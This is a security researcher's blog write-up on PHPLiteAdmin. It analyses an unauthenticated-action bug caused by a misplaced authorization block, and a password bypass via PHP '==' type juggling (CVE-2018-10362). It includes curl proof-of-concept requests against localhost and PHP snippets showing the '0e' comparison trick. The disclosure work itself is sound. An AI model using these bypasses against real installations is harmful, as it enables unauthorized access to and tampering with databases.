__ __ _____    ____                                        __  
   / //_/|__  /   / __ \ ___   _____ ___   ____ _ _____ _____ / /_ 
  / ,<    /_ <   / /_/ // _ \ / ___// _ \ / __ `// ___// ___// __ \
 / /| | ___/ /  / _, _//  __/(__  )/  __// /_/ // /   / /__ / / / /
/_/ |_|/____/  /_/ |_| \___//____/ \___/ \__,_//_/    \___//_/ /_/ 
        
Small mistakes lead to big problems
...or some bugs in PHPLiteAdmin

0 - Introduction 1 - The Terrible Mistake 2 - A Small Authorization Issue 3 - Misc.

--[ 0 - Introduction

While I don't have much time at the moment for my FreeBSD kernel exploitation project, I needed a small break and had a look at a smaller PHP project. I searched for something which is small enough to read the code fast in its entirety to improve my general source code assessment skills. I ended with PHPLiteAdmin, a small project which seems to be something like PHPMyAdmin but for SQLite database files. It's just one main PHP file with some small class files which make it perfect for purpose.

While going through recent commits on the project's GitHub site I stumbled upon a commit from August 17, 2017: 'Fixed a terrible mistake made in commit c17738a' [0]. A first checked showed that this seems to be about a bug in the development version as the last release was from the end of 2016. Nevertheless I wanted to see what this is about. So I've set myself the exercise to find this bug myself without looking at the commit diff.

And while I searched for this, I found another bug in the authorization class which I want to share with you. It's a zero-day but nothing special in itself. However, it shows a creative use of a quite unknown PHP feature (at least non of my PHP coding friends did know about this).

Update 1: CVE-2018-10362 was assigned for the authorization bypass Update 2: wbowling found out that there is an even more serious authorization bypass bug in the same class. The bug class is the same, that is a hash is compared with '==' and it's possible to craft a hash which is '0' in scientific notation. Have a look at the GitHub issue for this[4].

--[ 1 - The Terrible Mistake

First, let's look at commit c17738a. I created a special git branch for this to take notes inside the git. Of course you could just checkout the specific commit.

user@machine: $ git clone https://github.com/phpLiteAdmin/pla
user@machine: $ git branch vulnerable c17738a

The PHP code in index.php (the main file) starts with some autoloading of some classes, the definition of some functions and other initializations. The first action begins around line 285 (remember, I'm at commit c17738a): An instance of the class Authorization is created. If a POST to index.php containts inside the HTTP body the login field and a password, a login attempt is made. The if-statementat line 295 checks if the attempt was successful.

//- Check user authentication, login and logout
$auth = new Authorization(); //create authorization object
// check if user has attempted to log out
if (isset($_POST['logout']))
    $auth->revoke();
// check if user has attempted to log in
else if (isset($_POST['login']) && isset($_POST['password']))
    $auth->attemptGrant($_POST['password'], isset($_POST['remember']));
//- Actions on database files and bulk data
if ($auth->isAuthorized())
{

However, scrolling down some lines, we can see that the if-statement ends at line 553. That is, everything below can be triggered without authorization. Indeed, at line 564 an instance of the Database class is created and set to the first database from the configuration file. At line 572 we can find an if-statement which checks for certain GET parameters. Inside the if-statement a switch-statement checks for the values of the GET-parameter 'action'. For example, this parameter could be 'table_drop'. Checking the code for this case confirms, that it does drop the table which is specified by the GET-parameter 'table'.

}
//- Select database (from session or first available)
if(!isset($currentDB) && count($databases)>0)
{
    //set the current database to the first existing one in the array (default)
    $currentDB = reset($databases);
    $params->database = $currentDB['path']; 
}
//- Open database (creates a Database object)
$db = new Database($currentDB); //create the Database object
$db->registerUserFunction($custom_functions);
// collect parameters early, just once
$target_table = isset($_GET['table']) ? $_GET['table'] : null;
$params->table = $target_table; 
//- Switch on $_GET['action'] for operations without output
if(isset($_GET['action']) && isset($_GET['confirm']))
{
    switch($_GET['action'])
    {

It seems, we have found the 'terrible mistake'. We can confirm this with a simple proof-of-concept using curl.

First, lets create the SQLite file:

user@machine: $ sqlite3 database1.sqlite
...
sqlite> create table one(one varchar(1));
sqlite> insert into one values('a');
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE one(one varchar(1));
INSERT INTO "one" VALUES('a');
COMMIT;
sqlite>

To create my proof-of-concept, I will use the action 'table_rename':

user@machine: $ curl -vv http://localhost/index.php
...
< Set-Cookie: PHPSESSID=fdfgrf2jgu0nsl5scct7mi2ai7; path=/; HttpOnly
...
<input type="hidden" name="token" 
value="7a06555ab2c9e1ebc56d6498991c218f396b3fbc63a7a1c8704e2667600a72bc" />
...
user@machine: $ curl -vv -X POST -d "newname=two& \
token=7a06555ab2c9e1ebc56d6498991c218f396b3fbc63a7a1c8704e2667600a72bc" \
-H "Cookie: PHPSESSID=fdfgrf2jgu0nsl5scct7mi2ai7" \
http://localhost/index.php?action=table_rename\&confirm=a\&table=one
...
> POST /index.php?action=table_rename&confirm=a&table=one HTTP/1.1
...
> Cookie: PHPSESSID=fdfgrf2jgu0nsl5scct7mi2ai7
...
< HTTP/1.1 302 Found
...

First, we do a simple GET to create a session and receiving a CSRF token which is needed as we are doing a POST request in the second step. The POST request just sends the POST-parameter 'newname' which is used in line 695 of index.php to create the query which will rename the table. Moreover, the token is sent within the POST-request. That this is necessary is stated inside the definition of the Authorization class. The GET-parameters contain the 'action'-prameter ('table_rename'), the 'contain'-parameter which is needed to get through the if-statement in front of the switch-statement, and the 'table'-parameter that states which table should be renamed.

Indeed, it just worked as expected:

user@machine: $ sqlite3 database1.sqlite
...
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE two(one varchar(1));
INSERT INTO "two" VALUES('a');
COMMIT;
sqlite>	

This was just a small mistake which had a big impact. But as I've already written above: It was found inside the development branch. However, the next bug is a zero-day and shows a neat use of type juggling.

--[ 2 - A Small Authorization Issue

If we look at the Authorization class definition in 'classes/Authorization.php', we can find the definition of the function 'attemptGrant' which checks if the user who wants to login does provide the correct password. The password is specified in the configuration file. The first issue that catches the eye is the first if-statement: The password is checked with a '=='-comparison insteand of a '==='-comparison. Everybody should know that '==' is prone to mean type juggling bugs. A nice table which can be used as a cheat sheet can be found on the PHP homepage[1].

public function attemptGrant($password, $remember)
{
    if ($password == SYSTEMPASSWORD) {

However, the password is given to 'attemptGrant' via the $_POST variable, that is a string is handed over. Just from the table we can see that this issue shouldn't be exploitable as the string has to be correct.

Well, not exactly: As greg[2] pointed out in 2010[3], we can make use of the scientific notation of powers to exploit this:

user@machine: $ php -a
php > var_dump(0 == '0e1');
bool(true)
php > var_dump('0' == '0e1');
bool(true)
php > var_dump('200' == '2e2');
bool(true)

That is, if the password is something like 'e' the password is easier bruteforcable. Moreover, if the first number is a '0', just typing in a '0' as the password is enough. It works smoothly :)

This bug is there since version 1.9.5 which was released in 2014. While this is maybe not a critical bug, it does still show the nasty problems of type juggling.

--[ 3 - Misc.

PHPLiteAdmin does use htmlentities with ENT_QUOTES to prevent XSS. This is maybe not the best sanitization but I couldn't find a case where this could lead to XSS. Maybe there are cases in the future.

The function 'explode_sql' in 'index.php' should behave incorrectly for certain delimiters. Moreover, there are cases which use user input for the call to 'explode_sql'. But I couldn't find cases in which this is exploitable.

Thanks to joernchen to bring greg's presentation back to my mind :)

[0] https://github.com/phpLiteAdmin/pla/commit/bfc46d5 [1] https://secure.php.net/manual/en/types.comparisons.php [2] https://twitter.com/teh_gerg [3] http://gregorkopf.de/slides_berlinsides_2010.pdf [4] https://github.com/phpLiteAdmin/pla/issues/11